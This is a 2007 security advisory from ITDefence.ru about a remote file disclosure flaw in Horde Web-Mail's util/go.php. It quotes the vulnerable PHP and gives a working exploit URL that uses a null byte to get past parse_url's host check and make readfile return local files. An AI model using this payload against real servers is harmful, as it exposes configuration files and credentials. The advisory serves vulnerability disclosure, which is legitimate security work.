----[ Horde Web-Mail Remote File Disclosure ... ITDefence.ru Antichat.ru ]

              Horde Web-Mail Remote File Disclosure
              Eugene Minaev underwater@itdefence.ru
        ___________________________________________________________________
      ____/  __ __ _______________________ _______  _______________    \  \   \
      / .\  /  /_// //              /        \       \/      __       \   /__/   /
      / /     /_//              /\        /       /      /         /     /___/
      \/        /              / /       /       /\     /         /         /
      /        /               \/       /       / /    /         /__       //\
      \       /    ____________/       /        \/    __________// /__    // /   
      /\\      \_______/        \________________/____/  2007    /_//_/   // //\
      \ \\                                                               // // /
      .\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
      . \_\\________[________________________________________]_________//_//_/ . .
      
    At first look , this code is not vulnerable and we can only read remote files.
    
    <?php
    
    if (empty($_GET['url'])) {
    exit;
    }
    if (get_magic_quotes_gpc()) {
    $url = @parse_url(stripslashes($_GET['url']));
    } else {
    $url = @parse_url($_GET['url']);
    }  
    
    .....
    
    if ((!empty($_SERVER['SERVER_NAME']) &&
    $_SERVER['SERVER_NAME'] == $url['host']) ||
    (!empty($_SERVER['HTTP_HOST']) &&
    $_SERVER['HTTP_HOST'] == $url['host'])) { 
   
    .....
    
    
    if (!empty($_GET['untrusted'])) {
    readfile($_GET['url']);
    exit;
    }  
    
    ?>
    
    But parse_url is only a set of regular expressions and we can use nullbyte to deceive function.
    
    http://test1.ru/horde/util/go.php?untrusted=1&url=test.php%00http://another.host/

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]